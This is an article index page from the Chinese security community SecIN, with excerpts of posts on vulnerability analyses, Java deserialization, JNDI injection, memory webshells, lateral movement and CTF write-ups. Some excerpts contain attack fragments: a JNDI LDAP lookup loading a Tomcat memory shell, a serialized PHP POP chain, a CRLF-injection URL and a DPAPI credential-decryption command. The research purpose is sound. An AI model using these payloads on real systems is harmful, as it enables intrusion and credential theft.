SecIN技术平台

其他

原创 | CVE-2024-21762 FortiOS内存越界写导致RCE漏洞分析

就可以开始配置VPN功能了。1、创建sslvpn的用户:2、创建组,并且将用户添加至组3、配置sslvpn,选择监听网卡以及端口(这里设置的是4443)4、设置可访问组为自己创建的组:5、防火墙配置
4月17日 下午 5:31
其他

原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

}}com.amazon.redshift.Driver#connect通过getLogger设定日志的相关参数,之后将url保存为String
2023年11月22日
其他

原创 | 深度剖析GadgetInspector执行逻辑(下)

前言接着前面分析gadgetInspector工具GadgetInspectorgadgetinspector.PassthroughDiscovery类和上面类似的格式,存在有discover
2023年11月15日
其他

原创 | 内网安全之隧道代理

探测出网协议和端口我们拿下网站的shell之后,网站的防火墙很有可能对出网端口进行了一些设置,这时候我们就要探测可以出网的端口以便反弹Shell,配置socks代理等进一步操作到底什么是不出网?不出网大多数是由于防火墙规则以及路由等原因导致的
2023年11月1日
其他

原创 | 一文带你理解tcache缓存投毒

GitHub(https://github.com/shellphish/how2heap/blob/master/glibc_2.27/tcache_poisoning.c)往期推荐原创
2023年10月25日
其他

原创 | ClassLoader动态类加载

Person.staticAction();}结果:静态代码块静态方法class类加载用class关键字时,只进行了类加载并没有进行初始化,所以不会调用任何代码块public
2023年10月18日
其他

原创 | SpringWeb常见鉴权措施与垂直越权检测

越权测试中的痛点/难点越权漏洞是日常开发中比较常见的一个缺陷。要进行越权检测,一般需要明确定义和管理系统中的权限。这可能包括用户角色、资源和操作的细粒度权限控制。维护这些权限定义并确保它们与实际业务操作一致本身就是是一项复杂的任务。以垂直越权为例,一般测试时,首先会获取到高权限用户模块的业务数据包,然后在BurpSuite将其鉴权凭证(一般是cookie)替换成低权限用户的,也可以构造好高权限的业务数据包,然后在浏览器登陆低权限用户,通过访问相关的数据包,若业务依旧可以成功访问,则存在垂直越权缺陷。但是实际测试过程中可能会遇到一系列的问题:在测试过程中,了解应用程序的请求接口和其参数是至关重要的。这包括了解哪些参数控制了访问权限、哪些参数可以被滥用,以及如何构造恶意请求。但是在实际测试时,经常是通过js代码审计发现潜在的垂直越权接口,请求参数信息可能不完整或模糊导致没办法进步一测试(这些信息可能不容易获取,因为无法获取应用程序的源代码,也无法直接查看其接口文档)。一些越权漏洞可能导致误删除/修改/更新操作,在没有测试环境的情况下数据恢复比较困难。在黑盒扫描中,需要获取足够的应用程序流量数据,以便进行分析和检测。然而,流量可能受到加密、访问权限和网络配置的限制。除此以外,还有还多其他的因素,下面先看看SpringWeb中常见鉴权措施与解析顺序,简单探索下能不能在一定程度上解决上述的问题。SpringWeb中常见鉴权措施2.1
2023年10月11日
其他

原创 | 钓鱼文件应急溯源:方法篇

内容概览背景恶意软件分析技术的市场如今,恶意软件分析已是信息安全领域的一个整体产业:发布保护产品的反病毒引擎实验室,高度专业化的专家小组,甚至恶意软件编写者本身也参与其中,他们争夺一个潜在的客户--"受害者"。常见的分析技术静态恶意软件分析静态恶意软件分析在不主动运行恶意软件代码的情况下查找可能损害系统的文件,使其成为暴露恶意库或打包文件的安全工具。静态恶意软件分析可以发现有关恶意软件性质的线索,例如文件名、哈希、IP
2023年9月20日
其他

原创 | Spring Framework RCE CVE-2022-22965 漏洞分析

摘要本文会从几个角度分析漏洞CVE-2022-22965,首先会从payload的构造。每次我都喜欢先分析漏洞的payload,不得不承认实力没达到可以直接分析漏洞地步。所以会先看看payload的构造过程看看,每次学习和分析漏洞的payload能学到很多有趣的角度和想法。从payload的构造分析,分析payload的构造能够站在挖掘者的角度思考一个sink点,应该如何去寻找一条data-flow-path,并且能够满足流向sink的path。其次会结合SPA知识,call-graph分析部分功能点,最后会分析一波漏洞的修复方案。Payload构造下面是本次RCE的payload,看上去并不是很难的样子。其中蕴藏了几个小知识点,下面逐一分析。首先大体看payload是由请求头和请求体两部分组成。headers
2023年9月13日
其他

原创 | 浅谈Apache Shiro CVE-2023-22602

两者的区别首先,PathPattern新增{*spring}语法支持,功能更加的强大PS:这里做一个额外的测试,在设置spring.mvc.pathmatch.matching-strategy
2023年9月6日
其他

原创 | 浅谈Spring actuator env endpoint的一个误区

实现urlclassloader达到RCE的效果。针对SpringBoot-Actuator-SnakeYAML-RCE的情况,很多时候会选择关闭掉env端点来规避风险。在actuator
2023年8月30日
其他

原创 | 2023年第八届上海市大学生网络安全大赛 / 磐石行动 漏洞挖掘 Workthrough(下)

http://10.103.187.168:8090/login.action?os_destination=%2Findex.action&permissionViolation=true[*]
2023年8月23日
其他

原创 | 深入解析pe结构(下)

Table)保留(Reserved)其中导入表,导出表,重定位表,IAT表等表比较重要静态链接库与动态链接库静态链接库的生成与使用新建项目时选择静态链接库cpp文件int
2023年8月9日
其他

原创 | 深入解析pe结构(上)

{PrintNTHeaders();}节表c++联合体当我们需要存储一个内容来辨识某人的身份,用学号或者身份证号之一就可以,但是如果我们设置一个结构体,其中总有一块空间是浪费的struct
2023年8月2日
其他

原创 | 2023 CISCN 第十六届全国大学生信息安全竞赛初赛 WriteUp

引言第十六届全国大学生信息安全竞赛——创新实践能力赛http://www.ciscn.cn/competition/securityCompetition?compet_id=38时光荏苒,又是一年一度的国赛了!这篇writeup是xdlddw战队的队友一起写的,非常感谢队友带喵喵进了分区赛!Orz(转眼已经是第四年打国赛了捏,这回大概率是最后一年打国赛了)感兴趣的话,可以回顾一下往年写的一点
2023年7月26日
其他

原创 | 一文带你理解AST Injection

\。通过这种方式简化html代码的编写,同时实现模版重用。模板引擎的工作原理本质上,引擎是通过针对你使用模版语言编写的模版进行解析,从而生成新的JS代码。大体过程可以概括如下:词法解析
2023年7月12日
其他

原创 | 浅谈Apache与CVE-2023-20860

1);}在Java生态中,还有一个常用的鉴权组件shiro,那么shiro请求解析的过程又是怎么样处理的呢,是否也会有类似的问题。查看shiro的源码进行简单的分析:特殊场景下的shiro
2023年7月5日
其他

浅谈SpringSecurity与CVE-2023-22602

Bypass的效果,当使用spring-core-5.3.22时,因为AntPathRequestMatcher在匹配时启用了dotall模式,此时的表达式.匹配任何字符,包括行结束符,无法auth
2023年6月28日
其他

基于Win32k内核提权漏洞的攻防对抗

内核对象公开(成员偏移清晰)综上,可以更加确认一个win32k内核漏洞在win7的利用率是极高的。利用思路我们以“Bitmap”为例,介绍内核提权漏洞在win7上的利用方式:前提:Arbitrary
2023年6月21日
其他

2023 阿里云CTF / AliyunCTF 部分WriteUp

http://116.62.26.23/note/miao%0D%0Aabb:6a1b84b5-94af-4e07-8c3a-ff34820d2f5f进一步可以插入到
2023年6月14日
其他

从Rome看二次反序列化

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import
2023年5月31日
其他

原创 | shiro550,看这一篇就够了

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4下载完成后进入samples/web目录,直接修改pom文件添加依赖
2023年5月24日
其他

原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

jboss.tar通过这个工具找到了/schema/xmlschema/XMLSchema.dtd中存在一个可注入的实体xs-datatypes检查XMLSchema.dtd的文件内容:
2023年4月26日
其他

原创 | Filter内存马及工具检测

Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。Filter注册流程先看一个正常的demofilter.javapackage
2023年4月19日
其他

原创 | 缓冲区溢出漏洞那些事:验证与危害判定篇(文末福利)

5000在日志模块会看到输出备注:未设置插件工作目录的话,默认会在插件所在目录输入测试代码文件此命令可自定义工作空间路径:ERC
2023年4月12日
其他

原创 | 某厂商数据库审计系统前台RCE挖掘之旅

点击蓝字关注我们在某次的HW行动中,遇到某目标单位的数据库审计系统开放到了公网上,在尝试了默认口令口发现可以进入到后台。但是只是进入后台不足以完成任务,于是就开始了此次对此数据库审计系统的RCE挖掘之旅。后台任意文件下载后台中有个功能是抓包工具的下载,抓包修改其文件名即可下载任意文件。寻找源码位置下载源码只存在一个任意文件下载漏洞还不够,要是能利用此漏洞下载到系统源码,然后进行代码审计就有可能发现更多漏洞了。在后台翻功能时发现存在一个升级日志文件可进行查看,在此日志文件中发现了源代码的存放位置。利用上述的任意文件下载漏洞成功下载到了源码审计后台RCE审计代码发现存在如下问题,executeLinuxCommand
2023年4月5日
其他

原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE

进行分析,定位到漏洞触发点org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue可以看到判断
2023年3月29日
其他

原创 | 从KCON2022议题来看fastjson新版本RCE

点击蓝字关注我们fastjson
2023年3月22日
其他

原创 | VMWare Workspace ONE Access Auth Bypass

是个人补充的两个漏洞,个人感觉后者两个漏洞相比前者漏洞更有意思一点。题外话在作者的PPT内容里,其实有一半的内容是和IAM的相关性不是很强的。比例说原PPT内容中花了一段篇幅讲述
2023年3月8日
其他

原创 | 浅析RDP攻击面

/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB[*]
2023年3月1日
其他

原创 | 域环境搭建以及域内横向姿势总结

目标主机的用户名以及密码单纯使用ipc管道和转发上线其实也可以但是需要定时任务,创建定时任务的话会提示,但是如果使用wmic直接去执行上线的效果可能会更好shell
2023年2月22日
其他

原创 | 代码审计入门之XHCMS

就会形成一个极大的危险漏洞。文件分析上面提到的功能分析,如果不知道从何下手,可以参考下面列出来的几个文件夹/文件:/admin:管理员后台/install:安装目录/uploads
2023年2月15日
其他

原创 | 细谈使用CodeQL进行反序列化链的挖掘过程

点击蓝字关注我们前言学习了一下CodeQL的各种使用方式,决定使用CodeQL细谈一下CC链挖掘,通过一步一步的朝着我们既定的目标进行靠近,最终成功的找到了一条鸡肋的二次反序列化的入口😭😭😭😭前奏CodeQL本身包含两部分解析引擎+SDK。解析引擎用来解析我们编写的规则,虽然不开源,但是我们可以直接在官网下载二进制文件直接使用。SDK完全开源,里面包含大部分现成的漏洞规则,我们也可以利用其编写自定义规则安装下载CodeQL执行程序https://github.com/github/codeql-cli-binaries/releases将SDK下载到同目录cd
2023年2月1日
其他

原创 | 从一道CTF题浅谈QLExpress的那些事

RCE绕过方式可以看到默认黑名单简单的禁用了Runtime和ProcessBuilder,实际上还有很多bypass的方法。这里举几个例子:ScriptEngineManager绕过String
2023年1月11日
其他

原创 | java反序列化从0到cc1

点击蓝字关注我们前言java安全已成为安全从业者必不可少的技能,而反序列化又是Java安全非常重要的一环。于是本文将从0基础开始,带着大家层层递进,从java基础到URLDNS链到最终理解反序列化cc1链命令执行java反序列化的最终目的是执行命令,于是理解Java命令执行的函数非常有必要Runtime利用Runtime类可以进行命令执行Runtime.getRuntime().exec("calc");ProcessBuilderProcessBuilder
2022年12月28日
其他

原创 | AspectJWeaver利用链绕过serialKiller

Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
2022年12月21日
其他

原创 | Thinkphp3.2.3 SQL注入总结

点击蓝字关注我们下载:ThinkPHP3.2.3完整版
2022年12月14日
其他

原创 | SPEL注入流程分析及CTF中如何使用

点击蓝字关注我们配置https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce,导入maven依赖为了后期debug调试简便些,可以修改一下控制器修改后运行,访问localhost:9091/article?id=\${5*5},出现结果25则为配置成功影响版本SpringBoot
2022年12月7日
其他

原创 | 从Deserialization和覆盖trustURLCodebase进行JNDI注入

点击蓝字关注我们DeserializationLDAP在通过LDAP协议访问远程服务的时候,我们可以跟进到LdapCtx#c_lookup方法中这里调用了doSearchOnce方法获取LDAP远程返回的Result数据到最后会来到LdapCtx#doSearch方法中存在有LdapClient#search方法的调用首先他会封装了一个LdapRequest的请求,之后通过getSearchReply方法的调用获取对应的查询结果跟进一下在获取了返回的属性之后,将其放入了BasicAttributes类对象中之后将会把获取到的LdapEntry封装进入LdapResult对象中去最后返回了这个LdapResult对象好的,现在回到了LdapCtx#c_lookup方法中来了在682行中的var23就是前面返回的LdapResult对象,首先会判断其的entries属性是否为不为空,且要求只存在有一个LdapEntry对象。如果满足上面的条件,就会取出LdapResult中的LdapEntry对象,其为var25这个变量,并且也会取出LdapEntry中的属性,上图中的var4是一个BasicAttributes对象会判断属性中是否存在有javaClassName,如果有,将会调用Obj.decodeObject方法进行解析首先获取了javaCodeBase属性值,之后在145行中判断了是否存在有javaSerializedData属性,如果有就在获取了对应的ClassLoader之后通过调用deserializeObject方法进行反序列化最后调用了java.io.InputStream#readObject方法进行了反序列化POCimport
2022年11月30日
其他

活动 | 叮!SecIN暖冬征稿函已送达~惊喜好礼等你来拿!

叮!您有一份征稿函待查收!秋已尽,冬已至朔风起,冬日可爱,与美好不期而遇值此年末之际SecIN安全技术社区征稿活动来了!两种形式可以参与丰厚奖品等你来拿还在等什么快来分享你最热爱的技术知识领取你的专属暖冬福利吧!!!叮!接收这份征稿函吧!点击左下角【阅读原文】即可参与活动~
2022年11月21日
其他

原创 | JNDI注入工具改造

点击蓝字关注我们源码链接(修改前的源码,因为feihong师傅的仓库已经不在了,这里使用的是Jeromeyoung师傅的源码进行改造)https://github.com/Jeromeyoung/JNDIExploit-1JNDI注入工具代码结构分析1.controllers模块:负责LDAP请求的处理2.enum模块:负责存储各种模板类型名称,如:反序列化的Gadget、内存马的类型3.异常模块:负责处理可能抛出的异常4.反序列化模块:各种反序列化链的处理5.模板模块:命令执行、回显、DNS、内存马模板6.工具类模块:主要是为了方便而编写的一些工具类7.协议服务及启动模块:负责LDAP、HTTP协议的具体实现8.下面先对启动及协议服务模块进行说明:com.feihong.ldap.Starter类为整个工具的启动入口,从命令行接收参数传参到com.feihong.ldap.utils.Config类Config类中的@Parameter注解为参数的说明及代表的意思,类似于py中的argparse,命令接收到参数,分别赋值给Config类的几个私有变量。然后在之后的HTTPServer与LDAPServer中得到应用关于LDAP服务端的编写和Demo可以参考以下链接:https://www.freebuf.com/vuls/253545.html,HTTPServer则是正常的Java
2022年11月9日
其他

原创 | Spring Boot RCE到内存马探索

"T(javax.naming.InitialContext).lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
2022年11月2日
其他

原创 | 一篇了解Java反射

点击蓝字关注我们反射首先从运行原理了解为什么要用反射,当我们执行一段代码时,代码经过javac编译得到.class的字节码文件,再经过类加载器的loadClass()方法创建Class类对象到堆中;当我们实例化一个对象时,该对象会自动匹配到对应堆中的Class类对象,进而调用方法,操作属性等。至此程序结束。但通过上述方式,我们写好程序运行后,如果突然需要加载另一个类时,就需要停止运行并要写一段代码去实例化新需求的类,对服务器来说会造成一定的影响;这时就体现出了反射的优势,反射机制可以通过修改配置文件,而无需修改源码对类进行重新加载。反射是动态获取信息及动态调用对象方法的方式,Java本身是一种静态语言,而经过反射后让Java有了一定的动态性,变为一种“准动态语言”。反射实例理解通过外部文件配置,在不修改源码的情况下,来控制程序。反射实例看不懂的话,后边自Class类开始会有各方法的分布介绍A.javapackage
2022年10月26日
其他

请查收来自「SecTime“攻防之技”沙龙」的直播邀请

点击蓝字关注我们由SecIN安全技术社区发起的SecTime线上沙龙已成功举办5期历届沙龙均围绕“红队”展开获得业内及技术爱好者的一致好评现在,SecTime2.0重磅来袭咯!主办方针对演讲方向进行全面升级议题内容可覆盖更多安全技术人更邀请了两位实力嘉宾中孚信息元亨实验室-高级安全研究员KeyWgpSec团队成员、绿盟天元实验室研究员Wendell联手为大家带来首次“攻防之技”~除此之外也为各位师傅准备了丰厚福利雷蛇键盘、安豆盲盒、SecIN定制U盘……等你带走!议题内容抢先看转发有好礼关注SecIN技术平台+转发本文到朋友圈即可参与抽奖分组无效,开奖前删除无效开奖后请添加运营人员微信(小IN:SecIN2020)审核后我们在第一时间邮寄奖品加入我们如果您是安全团队创建者如果您是安全自媒体的运营者如果您有自己的安全社群希望加入SecTime技术合作伙伴一同转播SecTime技术沙龙欢迎点击“阅读原文”留下您的联系方式我们将有专人尽快与您联系期待与您合作共建!关于SecTimeSecTime是SecIN安全技术社区为安全人倾力打造的高端技术分享沙龙,旨在搭建安全技术爱好者之间的沟通桥梁,通过高质量的技术议题演讲,助力广大安全技术爱好者提升自身安全专业技能,拓展安全实践新思路新打法,共享安全技术新生态。
2022年10月25日
其他

原创 | 一文帮你解决APP抓包难题

点击蓝字关注我们前言在日常渗透过程中我们经常会遇到瓶颈无处下手,这个时候如果攻击者从公众号或者APP进行突破,往往会有很多惊喜。但是目前市场上的APP都会为防止别人恶意盗取和恶意篡改进行一些保护措施,比如模拟器检测、root检测、APK加固、代码混淆、代码反调试、反脱壳、签名校验等等对抗机制。而测试人员对APP进行渗透的首步操作通常就是上burp或者Charles这类抓包工具进行抓包,查看请求记录里的域名及链接地址是否可以进一步利用,但是如果遇到一些APP出现证书报错或者抓不到包的情况该怎么办,读过本篇文章之后,相信你会拥有一些新的解决方案和思考。数字证书我们都知道http协议传输的是明文信息,是可以直接捕获的,从而造成了数据泄露。为了防止中间人的拦截,出现了HTTPS加密机制。在HTTPS中,使用了证书+数字签名解决了这个问题。这部分加密机制的知识可以阅读这篇文章HTTPS整套加密机制是如何实现的?里面写的非常详细。此篇的重点在于如何应对APP的抓包对抗。https://www.cnblogs.com/TF511/articles/10791460.html我总结的HTTPS加密机制如下:数字签名是发送方的明文经历了两次加密得到的两个东西组成,一个是hash
2022年10月19日
其他

原创 | Spring及自动绑定问题

点击蓝字关注我们IOC与DIIOC:是一种把对象的创建和对象之间的调用过程,交给spring管理,从而减低耦合度的一种面向对象的设计方式DI:是ioc的另一种表表达形式;即组件以一些预先定义好的方式(例如:setter方法)接收来自于容器的资源注入。相对于ioc而言,这种表述更直接简单地说IOC就是一种反转控制的思想,而DI是对IOC的一种具体实现基于Xml文件来管理bean依赖jar
2022年10月12日
其他

原创 | Thinkphp5.1应用初探

点击蓝字关注我们直接审计tp的话应该会很有难度,不妨先了解一些tp内置规则和用法,便于在后续的审计中更好的理解代码含义。源码下载链接:https://github.com/heyguojing/thinkphp5.1ThinkPHP5.1
2022年9月28日
其他

原创 | Http Request-Smuggling

点击蓝字关注我们什么是HTTP请求走私?不同服务器请求内容的标准不同,对同一段tcp内容,前后端服务器获取到的http请求内容会有一定差异,而这个差异就造成了HTTP请求走私。漏洞成因HTTP规范提供了两种不同的方法来指定请求的结束位置:Content-Length标头和Transfer-Encoding标头,若同一请求前端与后端所使用的规范不同就可能导致解析差异,从而造成请求走私。一般服务器有三种解析方式:CL.TE:前端服务器使用Content-Length标头,而后端服务器使用Transfer-Encoding标头。TE.CL:前端服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头。TE.TE:前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。这里的解析错误主要取决于HTTP1.1中的两个特性:keep-alive与pipelineKeep-Alive:是在
2022年9月21日
其他

原创 | 从PHP反序列化原理到POP链构造

O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}构造payload如下>
2022年9月14日
其他

原创 | phar反序列化学习

integrity签名格式受影响函数php部分函数在通过伪协议phar://解析phar文件时,会触发反序列化,会将meta-data进行反序列化,受影响的函数如下:举个例子实验开始之前,确保php
2022年9月7日